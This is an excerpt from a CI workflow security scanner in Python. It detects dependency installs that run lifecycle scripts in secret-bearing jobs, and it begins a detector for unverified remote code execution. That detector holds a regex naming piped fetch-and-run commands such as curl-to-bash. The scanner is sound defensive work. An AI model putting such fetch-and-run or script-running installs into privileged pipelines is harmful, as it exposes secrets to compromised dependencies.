  2493. `npm install` on the next was read as protected and the job was dropped,
  2494. and a `--ignore-scripts` written in a shell COMMENT suppressed the real
  2495. install below it. One definition cannot disagree with itself that way.
  2496. `--ignore-scripts` is matched against the SEGMENT it belongs to, not the
  2497. whole line: it protects the command it is written on. `command` is split by
  2498. `_install_command_segments`, which breaks on `;` `&` `&&` `||` AND a bare
  2499. `|`, so in both `npm ci --ignore-scripts && npm install` and
  2500. `npm ci --ignore-scripts | npm install` the flag covers only the first
  2501. command and the second install is a finding.
  2502. A global or single-package install is not this vector and is excluded here
  2503. too — see `_is_dependency_tree_install`.
  2504. """
  2505. return any(
  2506. _INSTALL_CMD_RE.search(seg)
  2507. and not _IGNORE_SCRIPTS_RE.search(seg)
  2508. and _is_dependency_tree_install(seg)
  2509. for seg in _install_command_segments(command)
  2510. )
  2511. def _scalar_has_unprotected_install(scalar: str) -> bool:
  2512. """Any command in this `run:` scalar an unprotected install."""
  2513. return any(
  2514. _is_unprotected_install(cmd)
  2515. for _line, _raw, cmd in _shell_commands(scalar.splitlines())
  2516. )
  2517. # The quotes are optional because `- "run": npm ci` is legal YAML and means
  2518. # exactly `- run: npm ci`. Without them the step is not recognised as shell at
  2519. # all, and the install inside it stops being reportable.
  2520. _RUN_KEY_LINE_RE = re.compile(r"""^(\s*)(?:-\s+)?["']?run["']?\s*:\s*(.*)$""")
  2521. _BLOCK_SCALAR_RE = re.compile(r"^[|>][+-]?\d*\s*(#.*)?$")
  2522. def _run_scalar_line_numbers(text: str) -> set[int]:
  2523. """1-based line numbers whose content is SHELL — inside a `run:` scalar.
  2524. Everything else in a workflow file is YAML, and a regex hunting for install
  2525. commands does not belong there. Without this, `- name: Run pnpm install`
  2526. matched the install regex and the evidence quoted a step NAME as if it were
  2527. the command (immich's f7/f8/f11 all quoted `- name: Run pnpm install`), and
  2528. a `#` comment mentioning an install could do the same.
  2529. Two forms are recognised: an inline scalar (`run: pnpm install`), whose own
  2530. line is shell; and a block scalar (`run: |`), whose shell is every
  2531. following line indented deeper than the `run:` key.
  2532. """
  2533. shell: set[int] = set()
  2534. lines = text.splitlines()
  2535. i = 0
  2536. while i < len(lines):
  2537. m = _RUN_KEY_LINE_RE.match(lines[i])
  2538. if m is None:
  2539. i += 1
  2540. continue
  2541. indent = len(m.group(1))
  2542. rest = m.group(2).strip()
  2543. if rest and not _BLOCK_SCALAR_RE.match(rest):
  2544. # Inline scalar. It may still continue onto more-indented lines
  2545. # (plain multi-line YAML scalars), which are shell as well.
  2546. shell.add(i + 1)
  2547. j = i + 1
  2548. while j < len(lines):
  2549. nxt = lines[j]
  2550. if not nxt.strip():
  2551. break
  2552. if len(nxt) - len(nxt.lstrip()) <= indent:
  2553. break
  2554. shell.add(j + 1)
  2555. j += 1
  2556. i = j
  2557. continue
  2558. # Block scalar: consume the indented body (blank lines included).
  2559. j = i + 1
  2560. while j < len(lines):
  2561. nxt = lines[j]
  2562. if nxt.strip() and len(nxt) - len(nxt.lstrip()) <= indent:
  2563. break
  2564. if nxt.strip():
  2565. shell.add(j + 1)
  2566. j += 1
  2567. i = j
  2568. return shell
  2569. def _run_scalar_starts(text: str) -> set[int]:
  2570. """1-based line numbers where a `run:` scalar's shell BEGINS.
  2571. The companion to `_run_scalar_line_numbers`, which answers "is this line
  2572. shell" but not "is this line a different step's shell". Line adjacency
  2573. cannot answer the second question in either direction: two inline
  2574. `- run:` steps are adjacent lines in different steps, and a blank line
  2575. inside one block scalar makes one step's shell non-adjacent. Anything that
  2576. dies with its step — the working directory above all — has to key off this
  2577. set instead.
  2578. """
  2579. starts: set[int] = set()
  2580. lines = text.splitlines()
  2581. shell = _run_scalar_line_numbers(text)
  2582. for i, line in enumerate(lines):
  2583. m = _RUN_KEY_LINE_RE.match(line)
  2584. if m is None:
  2585. continue
  2586. rest = m.group(2).strip()
  2587. if rest and not _BLOCK_SCALAR_RE.match(rest):
  2588. starts.add(i + 1) # inline scalar: the key's own line
  2589. continue
  2590. for j in range(i + 1, len(lines) + 1): # block scalar: its first body line
  2591. if j + 1 in shell:
  2592. starts.add(j + 1)
  2593. break
  2594. return starts
  2595. # `<<WORD` / `<<-'WORD'` — a heredoc opener.
  2596. #
  2597. # The lookarounds are load-bearing. `<<<` is a here-STRING: it carries its whole
  2598. # value on the line and opens no body. Without `(?!<)` the search simply retried
  2599. # at the second `<` and matched `<< abc` inside `sort <<< abc`, which suppressed
  2600. # every command to the end of the step — losing real findings, silently.
  2601. _HEREDOC_OPEN_RE = re.compile(r"(?<!<)<<(?!<)-?\s*(['\"]?)([A-Za-z_][A-Za-z0-9_]*)\1")
  2602. def _heredoc_delimiter(command: str) -> str | None:
  2603. """The word ending the here-doc this command opens, or None.
  2604. The OPERATOR has to be shell syntax, the DELIMITER does not:
  2605. `echo "use << EOF for heredocs"` mentions a here-doc inside a quoted string
  2606. and opens nothing, while `cat <<'EOF'` quotes its delimiter and opens one —
  2607. quoting the delimiter is the idiom, since it stops expansion in the body.
  2608. So the quote test is applied to the `<<` itself, using the syntax/data
  2609. split this file already computes once in `_shell_scan`, and the delimiter
  2610. is read from the raw text. Blanking all quoted text instead would miss
  2611. every `<<'EOF'` in the corpus.
  2612. """
  2613. syntax = [is_syntax for _ch, is_syntax in _shell_scan(command)]
  2614. for match in _HEREDOC_OPEN_RE.finditer(command):
  2615. at = match.start()
  2616. if at + 1 < len(syntax) and syntax[at] and syntax[at + 1]:
  2617. return match.group(2)
  2618. return None
  2619. def _install_line(
  2620. text: str, job_range: tuple[int, int] | None
  2621. ) -> tuple[int, str, str] | None:
  2622. """(line_no, verbatim line, joined command) of the QUALIFYING install.
  2623. Scoped to the job's own source range, so the evidence quotes the actual
  2624. command instead of a synthesized sentence, and to `run:` scalar content, so
  2625. it quotes shell rather than a step name or a comment. It returns the first
  2626. command that would itself make the job a finding — not the first line the
  2627. install regex happens to touch. leonardo's job bootstraps with
  2628. `npm install -g npm@11` on one line and runs the real `pnpm install` at
  2629. :31; the evidence used to quote the bootstrap, so the reader was pointed at
  2630. a command that is not the vector and could not be fixed by the recipe.
  2631. A command carrying `--ignore-scripts` is skipped here as well as at the job
  2632. level: a job that fixed one install and left another still has the unfixed
  2633. one quoted.
  2634. """
  2635. found = _install_lines(text, job_range)
  2636. return found[0] if found else None
  2637. def _install_lines(
  2638. text: str, job_range: tuple[int, int] | None
  2639. ) -> list[tuple[int, str, str]]:
  2640. """EVERY qualifying install in the job, in source order.
  2641. A job can install more than once, and the build allowlist can be a
  2642. different thing at each of them — disabled above the first, put back before
  2643. the second. Deciding mitigation on the first install alone gets both
  2644. directions wrong: it suppressed a job whose later install was exposed, and
  2645. it reported a job whose install was disabled by a step further down.
  2646. """
  2647. lines = text.splitlines()
  2648. shell_lines = _run_scalar_line_numbers(text)
  2649. start, end = job_range if job_range else (1, len(lines))
  2650. out = []
  2651. for line_no, raw, cmd in _shell_commands(lines):
  2652. if line_no < start or line_no > min(end, len(lines)):
  2653. continue
  2654. if line_no not in shell_lines:
  2655. continue
  2656. if _is_unprotected_install(cmd):
  2657. out.append((line_no, raw, cmd))
  2658. return out
  2659. # --- P14.25 mitigation signals -----------------------------------------------
  2660. #
  2661. # The catalog used to assert, in every finding, that the job "runs this install
  2662. # with dependency lifecycle scripts enabled". That is not knowable from workflow
  2663. # YAML and for pnpm it is usually FALSE: pnpm 10 and later block dependency
  2664. # lifecycle scripts by default and only run them for packages named in
  2665. # `onlyBuiltDependencies` / `allowBuilds`. So the note now says what IS knowable
  2666. # — the install executes lifecycle scripts UNLESS the manager's version or
  2667. # configuration disables them — and names the per-manager condition.
  2668. #
  2669. # Two tiers of in-repo evidence, and the split is deliberate:
  2670. #
  2671. # HARD (no finding at all) — a step in the SAME job, ordered BEFORE the
  2672. # install, that empties or falsifies the build allowlist, together with a
  2673. # `packageManager` pin resolving pnpm >= 10 (the mechanism only exists there).
  2674. # vitejs/vite writes `yq '.allowBuilds[]=false' -i pnpm-workspace.yaml`
  2675. # immediately above `pnpm install` in both its release and its publish
  2676. # workflow; reporting those was a false positive twice over.
  2677. #
  2678. # PARTIAL (the finding STANDS, with the mitigation named in its note) — a
  2679. # committed `pnpm-workspace.yaml` allowlist, or a pnpm >= 10 pin on its own.
  2680. # A committed file is not proof of the file at install time: vite's own
  2681. # release jobs rewrite it mid-run, which is the counter-example. And a pin
  2682. # with a NON-empty allowlist means scripts still run for the allow-listed
  2683. # packages (vercel/next.js allows `@ast-grep/cli`). Suppressing on either
  2684. # would be the false-negative shape the NEVER rules ban, so both are
  2685. # disclosed rather than acted on.
  2686. _PACKAGE_MANAGER_PIN_RE = re.compile(
  2687. r"\"packageManager\"\s*:\s*\"(npm|pnpm|yarn)@((\d+)[^\"+]*)"
  2688. )
  2689. _ALLOWLIST_KEY_RE = re.compile(r"(allowBuilds|onlyBuiltDependencies)")
  2690. _ALLOWLIST_DISABLE_RE = re.compile(
  2691. r"(allowBuilds|onlyBuiltDependencies)\s*(?:\[\s*\])?\s*[:=]\s*"
  2692. r"(?:false|\[\s*\]|\{\s*\})"
  2693. )
  2694. # A `#` that starts a shell comment: at the start of the line or after
  2695. # whitespace. Everything from there on is inert text, not an executed command.
  2696. _COMMENT_TAIL_RE = re.compile(r"(?:^|\s)#.*$")
  2697. # The config file a real disable-the-builds step writes.
  2698. _ALLOWLIST_TARGET = r"[^\s'\"]*(?:pnpm-workspace\.ya?ml|package\.json|\.npmrc)"
  2699. # The three ways a line actually WRITES that file. Each binds the write to the
  2700. # target in ONE expression, because testing "names a config file" and "has a
  2701. # redirect" independently accepts lines where the two are unrelated:
  2702. # `yq '.allowBuilds[]=false' pnpm-workspace.yaml > /dev/null` reads the file
  2703. # and writes to the bit bucket, changing nothing. Naming the file is not
  2704. # enough either — the same command without `-i` just prints the edited
  2705. # document. vitejs/vite's real step is
  2706. # `yq '.allowBuilds[]=false' -i pnpm-workspace.yaml`.
  2707. _ALLOWLIST_WRITE_RES = (
  2708. # in-place edit of the target: `yq … -i pnpm-workspace.yaml`, `sed -i … pkg`.
  2709. # Gated on the command being one that HAS an in-place mode: `-i` means
  2710. # case-insensitive to grep, so `grep -i allowBuilds=false
  2711. # pnpm-workspace.yaml` is a read-only check that would otherwise read as a
  2712. # mutation.
  2713. re.compile(r"\b(?:yq|sed|perl|dasel|sponge|crudini)\b.*"
  2714. r"(?:^|\s)(?:-i|--in-?place)(?:=\S*)?(?:\s+\S+)*?\s+"
  2715. + _ALLOWLIST_TARGET + r"(?:\s|$)"),
  2716. # redirect or tee INTO the target: `… >> pnpm-workspace.yaml`
  2717. re.compile(r"(?:>>?\s*|\|\s*tee\s+(?:-a\s+)?)" + _ALLOWLIST_TARGET),
  2718. # the package manager's own writer — bound to the allowlist key, or an
  2719. # unrelated `pnpm config set registry …` on the same line as inert disable
  2720. # text would read as a mitigation.
  2721. re.compile(r"pnpm\s+config\s+set\s+\S*"
  2722. r"(?:allowBuilds|onlyBuiltDependencies)"),
  2723. )
  2724. # A line that only PRINTS: `echo`/`printf` with nothing to write into. Its
  2725. # argument can quote an entire real mitigation, so the write test above cannot
  2726. # tell it apart on its own.
  2727. _INERT_PRINT_RE = re.compile(r"^(?:echo|printf)\b(?![^>]*(?:>|\|\s*tee\b))")
  2728. def _writes_the_build_allowlist(code: str) -> bool:
  2729. """Does this shell line actually WRITE the build allowlist it mentions?"""
  2730. return any(r.search(code) for r in _ALLOWLIST_WRITE_RES)
  2731. def _repo_root_for_workflow(file_path: Path) -> Path | None:
  2732. """The repo root a `.github/workflows/<f>.yml` path sits in, or None."""
  2733. parts = file_path.resolve().parts
  2734. if len(parts) < 4 or parts[-2] != "workflows" or parts[-3] != ".github":
  2735. return None
  2736. return Path(*parts[:-3])
  2737. def _package_manager_pin(root: Path | None) -> tuple[str, int, str] | None:
  2738. """`(manager, major, version)` from the repo's `packageManager` field.
  2739. The full version travels with the major because the note quotes it: a
  2740. reader told "this repo pins `pnpm@10`" cannot check that against a
  2741. `package.json` that says `pnpm@10.33.0`.
  2742. """
  2743. if root is None:
  2744. return None
  2745. try:
  2746. blob = (root / "package.json").read_text(encoding="utf-8", errors="replace")
  2747. except OSError:
  2748. return None
  2749. m = _PACKAGE_MANAGER_PIN_RE.search(blob)
  2750. if m is None:
  2751. return None
  2752. return m.group(1), int(m.group(3)), m.group(2)
  2753. def _pnpm_build_allowlist(root: Path | None) -> str | None:
  2754. """``"restrictive"`` / ``"permissive"`` / None for the repo's build
  2755. allowlist.
  2756. ``restrictive`` means the declaration exists and permits NOTHING to build
  2757. (an empty list, or a map whose every value is falsy — vitejs/vite ships
  2758. `allowBuilds: {core-js: false, vue-demi: false}`). ``permissive`` means at
  2759. least one package may build (vercel/next.js allows `@ast-grep/cli`).
  2760. Two files can hold the declaration, and BOTH are read, in pnpm's own order
  2761. of precedence: `pnpm-workspace.yaml` first, then `package.json`'s
  2762. `pnpm.onlyBuiltDependencies` — which is where adobe/leonardo declares it,
  2763. and reading only the workspace file left that repo's finding saying the
  2764. allowlist was undeclared when the repo declares it. This changes NOTE
  2765. SPECIFICITY only: the allowlist never suppresses a finding on its own (that
  2766. takes an in-job write; see `_allowlist_writes`).
  2767. """
  2768. if root is None:
  2769. return None
  2770. def _verdict(value: Any) -> str | None:
  2771. if isinstance(value, dict):
  2772. return "permissive" if any(value.values()) else "restrictive"
  2773. if isinstance(value, list):
  2774. return "permissive" if value else "restrictive"
  2775. return None
  2776. for name in ("pnpm-workspace.yaml", "pnpm-workspace.yml"):
  2777. try:
  2778. text = (root / name).read_text(encoding="utf-8", errors="replace")
  2779. except OSError:
  2780. continue
  2781. try:
  2782. doc = yaml.safe_load(text)
  2783. except yaml.YAMLError:
  2784. return None
  2785. if not isinstance(doc, dict):
  2786. break
  2787. for key in ("allowBuilds", "onlyBuiltDependencies"):
  2788. if key in doc:
  2789. verdict = _verdict(doc.get(key))
  2790. if verdict is not None:
  2791. return verdict
  2792. break
  2793. # `package.json` → `"pnpm": {"onlyBuiltDependencies": [...]}`.
  2794. try:
  2795. blob = (root / "package.json").read_text(encoding="utf-8", errors="replace")
  2796. except OSError:
  2797. return None
  2798. try:
  2799. pkg = json.loads(blob)
  2800. except json.JSONDecodeError:
  2801. return None
  2802. if not isinstance(pkg, dict):
  2803. return None
  2804. pnpm_cfg = pkg.get("pnpm")
  2805. if not isinstance(pnpm_cfg, dict):
  2806. return None
  2807. for key in ("onlyBuiltDependencies", "allowBuilds"):
  2808. if key in pnpm_cfg:
  2809. return _verdict(pnpm_cfg.get(key))
  2810. return None
  2811. def _allowlist_writes(
  2812. text: str, job_range: tuple[int, int] | None
  2813. ) -> list[tuple[int, bool, str]]:
  2814. """Every EXECUTED write to the build allowlist in this job, in order:
  2815. ``(line_no, disables, verbatim line)``.
  2816. This is the one thing that suppresses a P14.25 finding OUTRIGHT, so the
  2817. line has to be an executed mutation of the package manager's build
  2818. allowlist and not merely text that mentions one. Two inert shapes reached
  2819. the unconditional suppression before this gate: a shell COMMENT
  2820. (`# allowBuilds=false — set in pnpm-workspace.yaml`, a perfectly natural
  2821. thing to write) and an echoed string with nowhere to go
  2822. (`echo 'allowBuilds: false'`). A third, subtler one: `yq
  2823. '.allowBuilds[]=false' pnpm-workspace.yaml` WITHOUT `-i` names the file but
  2824. only prints the edited document — the file on disk is untouched. Each
  2825. silenced a genuine privileged install. So the mitigation must survive
  2826. comment-stripping, name the config, AND write it — which is what a real
  2827. mitigation does: vitejs/vite runs
  2828. `yq '.allowBuilds[]=false' -i pnpm-workspace.yaml`.
  2829. All three tests run per COMMAND, not per line. Run against a whole line
  2830. they can be satisfied by different commands that have nothing to do with
  2831. each other: `echo allowBuilds=false; pnpm config set registry … > .npmrc`
  2832. has inert disable text in one command and an unrelated write in the next,
  2833. and passed every line-level gate.
  2834. The ORDER is what the caller needs. A job can turn the allowlist off and
  2835. back on around several installs, and only the last write before a given
  2836. install decides whether that install is protected. Answering "does a
  2837. disable appear anywhere above" gets it wrong in both directions: it
  2838. suppressed a job whose later install was exposed, and it reported a job
  2839. whose install was disabled by a step further down.
  2840. """
  2841. lines = text.splitlines()
  2842. shell_lines = _run_scalar_line_numbers(text)
  2843. start, end = job_range if job_range else (1, len(lines))
  2844. writes: list[tuple[int, bool, str]] = []
  2845. for idx in range(max(start, 1), min(end, len(lines)) + 1):
  2846. if idx not in shell_lines:
  2847. continue
  2848. raw = lines[idx - 1]
  2849. for whole in _pipeline_command_segments(_COMMENT_TAIL_RE.sub("", raw)):
  2850. # `NOTE="pnpm config set allowBuilds=false"` stores a string; it
  2851. # runs nothing. Leading `VAR=value` assignments are stripped, and a
  2852. # segment that is ONLY assignments is not a command at all.
  2853. seg = _command_after_assignments(whole)
  2854. if not seg.strip():
  2855. logger.debug(
  2856. "P14.25: line %d assigns allowlist-shaped text but runs "
  2857. "no command — not a mitigation: %s", idx, raw.strip(),
  2858. )
  2859. continue
  2860. if not _ALLOWLIST_KEY_RE.search(seg):
  2861. continue
  2862. if not _writes_the_build_allowlist(seg):
  2863. logger.debug(
  2864. "P14.25: line %d mentions a build allowlist but does not "
  2865. "write it — not a mitigation: %s", idx, raw.strip(),
  2866. )
  2867. continue
  2868. if _INERT_PRINT_RE.match(seg.strip()):
  2869. # `echo "yq '.allowBuilds[]=false' -i pnpm-workspace.yaml"`
  2870. # prints a mitigation instead of running one, and the quoted
  2871. # `-i` would otherwise satisfy the write test.
  2872. logger.debug(
  2873. "P14.25: line %d only PRINTS an allowlist mutation — not "
  2874. "a mitigation: %s", idx, raw.strip(),
  2875. )
  2876. continue
  2877. # A write that is not a disable re-opens the allowlist.
  2878. writes.append(
  2879. (idx, bool(_ALLOWLIST_DISABLE_RE.search(seg)), raw.strip())
  2880. )
  2881. return writes
  2882. def _builds_disabled_at(
  2883. writes: list[tuple[int, bool, str]], install_line: int,
  2884. concurrent: Callable[[int, int], bool] | None = None,
  2885. ) -> str | None:
  2886. """The verbatim line that leaves builds disabled at `install_line`, if the
  2887. LAST allowlist write above it is a disable.
  2888. A write in a step that may run at the same time as the install (see
  2889. `_StepTiming`) is not known to land before it: it never counts as the
  2890. protecting write, and if it re-enables builds the install is exposed."""
  2891. def _racing(w: tuple[int, bool, str]) -> bool:
  2892. return concurrent is not None and concurrent(w[0], install_line)
  2893. if any(_racing(w) and not w[1] for w in writes):
  2894. return None
  2895. prior = [w for w in writes if w[0] < install_line and not _racing(w)]
  2896. if prior and prior[-1][1]:
  2897. return prior[-1][2]
  2898. return None
  2899. _SHELL_SEGMENT_RE = re.compile(r"(?:;|&&|\|\||&(?!&))")
  2900. # Single quotes take no escapes in shell; double quotes do, so a `\"` inside
  2901. # one must not end the span — otherwise the rest of the string is treated as
  2902. # bare shell and a quoted `;` becomes a command boundary again.
  2903. _QUOTED_RUN_RE = re.compile(r"'[^']*'|\"(?:\\.|[^\"\\])*\"")
  2904. # A leading `VAR=value` (optionally `export`ed). Shell runs the command AFTER
  2905. # these; a segment made only of them runs nothing at all.
  2906. _LEADING_ASSIGNMENT_RE = re.compile(
  2907. r"^\s*(?:export\s+)?[A-Za-z_][A-Za-z0-9_]*="
  2908. r"(?:'[^']*'|\"(?:\\.|[^\"\\])*\"|\S*)\s*"
  2909. )
  2910. def _command_after_assignments(segment: str) -> str:
  2911. """`FOO=1 BAR="x" yq …` → `yq …`; `NOTE="…"` → `` (it runs nothing)."""
  2912. prev = None
  2913. out = segment
  2914. while out != prev:
  2915. prev = out
  2916. out = _LEADING_ASSIGNMENT_RE.sub("", out, count=1)
  2917. return out
  2918. def _pipeline_command_segments(line: str) -> list[str]:
  2919. """One shell line split into the commands it actually runs.
  2920. A bare `|` is NOT a separator here: a pipeline is one logical command, and
  2921. `echo 'allowBuilds: false' | tee -a pnpm-workspace.yaml` really does write
  2922. the file. (The P14.25 install detector wants the opposite — see
  2923. `_install_command_segments` — which is why these are two named functions.)
  2924. Quote-aware, because splitting blind cuts BOTH ways: `echo "note; pnpm
  2925. config set allowBuilds=false"` is one `echo` of inert text, but a naive
  2926. split on `;` manufactures a second "command" that satisfies every
  2927. mitigation test and silences the install below it. Separators are located
  2928. on a copy with quoted spans masked, then the ORIGINAL text is sliced at
  2929. those offsets so each segment keeps its real content.
  2930. """
  2931. masked = _QUOTED_RUN_RE.sub(lambda m: "x" * len(m.group(0)), line)
  2932. out, prev = [], 0
  2933. for m in _SHELL_SEGMENT_RE.finditer(masked):
  2934. out.append(line[prev:m.start()])
  2935. prev = m.end()
  2936. out.append(line[prev:])
  2937. return [s for s in out if s.strip()]
  2938. def _manager_condition_note(
  2939. manager: str | None,
  2940. command: str, # every `run:` scalar in the job, joined
  2941. pin: tuple[str, int, str] | None,
  2942. allowlist: str | None,
  2943. ) -> str:
  2944. """The per-manager sentence: under what condition do scripts actually run?
  2945. Per-manager because the single npm-v12 caveat rendered on `pnpm` and `yarn`
  2946. findings too, where it contradicted itself — three QA batches flagged the
  2947. same self-contradiction.
  2948. """
  2949. if manager == "npm":
  2950. # Bounded on the left so `pnpm@10` is not read as `npm@10`.
  2951. pinned = re.search(r"(?<![\w.-])npm@[\^~]?(\d+)", command)
  2952. if pinned:
  2953. version = (
  2954. f"this job installs npm {pinned.group(1)} explicitly, and that "
  2955. f"major still runs them"
  2956. )
  2957. elif pin and pin[0] == "npm":
  2958. version = (
  2959. f"this repo pins `npm@{pin[2]}` via `packageManager`, and that "
  2960. f"major "
  2961. + ("does not run them by default" if pin[1] >= 12
  2962. else "still runs them")
  2963. )
  2964. else:
  2965. version = (
  2966. "the npm major your runner resolves is not visible in this "
  2967. "YAML, so confirm it before treating this as closed"
  2968. )
  2969. return (
  2970. "npm runs dependency `preinstall`/`install`/`postinstall` scripts "
  2971. "by default through npm 11; npm v12 (announced 2026-06-09, shipped "
  2972. f"2026-07-08) turns them off by default — {version}."
  2973. )
  2974. if manager == "pnpm":
  2975. base = (
  2976. "pnpm 9 and earlier run dependency lifecycle scripts by default; "
  2977. "pnpm 10 and later block them unless the package is allow-listed "
  2978. "in `onlyBuiltDependencies` / `allowBuilds`"
  2979. )
  2980. signals: list[str] = []
  2981. if pin and pin[0] == "pnpm":
  2982. signals.append(
  2983. f"this repo pins `pnpm@{pin[2]}` via `packageManager`")
  2984. if allowlist == "permissive":
  2985. signals.append(
  2986. "and its committed allowlist still permits at least one "
  2987. "package to build, so scripts run for those"
  2988. )
  2989. elif allowlist == "restrictive":
  2990. signals.append(
  2991. "and its committed allowlist permits nothing to build — but a "
  2992. "committed file is not the file at install time, so confirm no "
  2993. "step rewrites it"
  2994. )
  2995. if signals:
  2996. return base + " — " + " ".join(signals) + "."
  2997. return (
  2998. base + " — which major your runner resolves is not visible in this "
  2999. "YAML, so confirm it before treating this as closed."
  3000. )
  3001. if manager == "yarn":
  3002. if pin and pin[0] == "yarn":
  3003. era = (
  3004. "Classic, which runs them" if pin[1] < 2
  3005. else "Berry, where the `enableScripts` setting governs them"
  3006. )
  3007. return (
  3008. "Yarn Classic (1.x) runs dependency lifecycle scripts by "
  3009. "default; Yarn Berry (2+) is governed by its `enableScripts` "
  3010. f"setting — this repo pins `yarn@{pin[2]}` via "
  3011. f"`packageManager`, i.e. {era}."
  3012. )
  3013. return (
  3014. "Yarn Classic (1.x) runs dependency lifecycle scripts by default; "
  3015. "Yarn Berry (2+) is governed by its `enableScripts` setting — "
  3016. "which line your runner resolves is not visible in this YAML, so "
  3017. "confirm it before treating this as closed."
  3018. )
  3019. return ( # pragma: no cover - defensive
  3020. "whether the install runs dependency lifecycle scripts depends on the "
  3021. "package manager version and configuration your runner resolves."
  3022. )
  3023. def _job_run_texts(job: Any) -> list[str]:
  3024. return [s["run"] for s in _job_steps(job) if isinstance(s.get("run"), str)]
  3025. def _correlation_install_scripts_in_privileged_job(
  3026. file_path: Path,
  3027. ) -> Iterator[RawHit]:
  3028. """P14.25 — a dependency install that runs lifecycle scripts, in a job that
  3029. holds secrets or a write-scoped token.
  3030. Two conditions in ONE job: (1) a `run:` step invokes a package-manager
  3031. install that executes `preinstall`/`install`/`postinstall` scripts —
  3032. matched WITHOUT `--ignore-scripts`; (2) that job carries a live payoff —
  3033. any `secrets.*` reference beyond `github.token`, `secrets: inherit`, or a
  3034. write scope effective for the job. Either alone is not a finding: an
  3035. install with nothing to steal hands the attacker nothing, and a
  3036. credential-bearing job that never installs untrusted code is a different
  3037. (non-)vector. One hit per qualifying job.
  3038. The install leg is a DEPENDENCY-TREE install only — a global tool bootstrap
  3039. (`npm i -g corepack@0.31`) or a named single-package install is excluded;
  3040. see `_is_dependency_tree_install`.
  3041. Which manager version a runner resolves is NOT knowable from workflow YAML,
  3042. so this detector does not quietly stand down on the platform defaults — it
  3043. fires and the derived note names the per-manager condition. Silently not
  3044. firing on an unverifiable assumption is the false-negative shape the NEVER
  3045. rules ban. It DOES stand down on hard, in-job evidence of disablement; see
  3046. the mitigation-signal comment above `_repo_root_for_workflow`.
  3047. """
  3048. text = _read_text_safe(file_path)
  3049. if not text:
  3050. return
  3051. doc = _parse_yaml_text(text, file_path)
  3052. if not isinstance(doc, dict):
  3053. return
  3054. ranges = {name: (start, end) for name, start, end in job_line_ranges(file_path)}
  3055. root = _repo_root_for_workflow(file_path)
  3056. pin = _package_manager_pin(root)
  3057. allowlist = _pnpm_build_allowlist(root)
  3058. for job_name, job in _walk_jobs(doc):
  3059. runs = _job_run_texts(job)
  3060. if not any(_scalar_has_unprotected_install(r) for r in runs):
  3061. continue
  3062. secrets = _job_secret_refs(job, doc)
  3063. writes = _job_effective_write_scopes(doc, job)
  3064. if not secrets and not writes:
  3065. continue
  3066. candidates = _install_lines(text, ranges.get(job_name))
  3067. found = candidates[0] if candidates else None
  3068. if found is None:
  3069. # The parsed scalar matched but no raw line did (a folded scalar).
  3070. # Reported as a coverage gap rather than dropped silently.
  3071. _DROPPED_MATCHES.append({
  3072. "kind": _KIND_UNANCHORED,
  3073. "file": str(file_path),
  3074. "reason": (
  3075. f"P14.25: jobs.{job_name} runs a script-executing install "
  3076. f"but the command line could not be located in the raw "
  3077. f"file (folded scalar?) — this match is NOT reported"
  3078. ),
  3079. })
  3080. continue
  3081. line, raw, command = found
  3082. manager = _install_manager(command)
  3083. # HARD evidence of disablement — an in-job step that empties the build
  3084. # allowlist before the install, on a repo that pins pnpm >= 10 (where
  3085. # that allowlist is the mechanism). No finding at all; asserting one
  3086. # here would be a false positive against the repo's own mitigation.
  3087. if manager == "pnpm" and pin and pin[0] == "pnpm" and pin[1] >= 10:
  3088. allowlist_writes = _allowlist_writes(text, ranges.get(job_name))
  3089. spans = _step_spans(text)
  3090. # Mitigation is decided PER INSTALL, by the last allowlist write
  3091. # above it — a job can turn builds off, install, put them back and
  3092. # install again. Report the first install that is exposed, so the
  3093. # evidence quotes a command the reader can actually act on; if
  3094. # every install in the job is covered, there is no finding.
  3095. # …and only for pnpm installs: the pnpm build allowlist says
  3096. # nothing about an `npm ci` or `yarn install` in the same job.
  3097. exposed = next(
  3098. (c for c in candidates
  3099. if _install_manager(c[2]) != "pnpm"
  3100. or _builds_disabled_at(
  3101. allowlist_writes, c[0],
  3102. lambda a, b: _lines_concurrent(spans, a, b)) is None),
  3103. None,
  3104. )
  3105. if exposed is None:
  3106. logger.debug(
  3107. "P14.25: %s jobs.%s disables dependency builds before "
  3108. "every install on a pnpm>=10 pin — not a finding",
  3109. file_path, job_name,
  3110. )
  3111. continue
  3112. line, raw, command = exposed
  3113. manager = _install_manager(command)
  3114. payoff_parts = []
  3115. if secrets:
  3116. payoff_parts.append(
  3117. "the job's environment carries secret(s) "
  3118. + ", ".join(f"`{s}`" for s in secrets[:5])
  3119. + (" …" if len(secrets) > 5 else "")
  3120. )
  3121. if writes:
  3122. payoff_parts.append(
  3123. "the job holds write scope(s) "
  3124. + ", ".join(f"`{w}`" for w in sorted(writes))
  3125. )
  3126. yield RawHit(
  3127. line=line,
  3128. evidence=f"{line:>4}: {raw} <-- here",
  3129. match_text=raw.strip(),
  3130. derived_note=(
  3131. f"jobs.{job_name} runs this dependency-tree install where "
  3132. f"lifecycle scripts execute UNLESS the package manager's "
  3133. f"version or configuration disables them, and "
  3134. + " and ".join(payoff_parts)
  3135. + " — so a compromised dependency's install script executes "
  3136. "holding them. "
  3137. + _manager_condition_note(
  3138. manager, "\n".join(runs), pin, allowlist,
  3139. )
  3140. ),
  3141. )
  3142. # --- P14.24: unverified remote code execution --------------------------------
  3143. #
  3144. # ONE vector, two shapes, because they are the same trust model: the job runs
  3145. # code that a third party can change between now and the next run.
  3146. #
  3147. # 1. the piped installer — `curl … | bash`, `bash <(curl …)`, `deno run <url>`
  3148. # 2. a MUTABLE git fetch executed out of — `git clone` / `git fetch` at a
  3149. # branch, tag, HEAD, or an abbreviated sha, followed by running a file
  3150. # from the fetched tree
  3151. #
  3152. # Shape 1 stays exactly where it was: the regex below is handed to the shared
  3153. # `detect_yaml_run_injection` walker, so its matching, line attribution and
  3154. # evidence are the code that was already shipping. It lives here rather than in
  3155. # the catalog's METADATA because one entry carries one detector, and this entry
  3156. # now needs two arms.
  3157. #
  3158. # A fetch pinned to a FULL 40-hex commit is IMMUTABLE and is never a finding —
  3159. # that is the same trust model this catalog recommends for action pins, and
  3160. # reporting it would tell a reader to fix what they already did right. A short
  3161. # sha is not a pin: git re-resolves an abbreviated id at fetch time.
  3162. _REMOTE_PIPE_TO_SHELL = (
  3163. r"(?:(?:curl|wget)\b[^\n|]*\|\s*(?:sudo\s+)?(?:bash|sh)\b"
  3164. r"|\b(?:bash|sh)\s+<\(\s*(?:curl|wget)\b"
  3165. r"|\bdeno\s+run\b[^\n]*https?://)"
  3166. )
  3167. _FULL_SHA_RE = re.compile(r"^[0-9a-fA-F]{40}$")
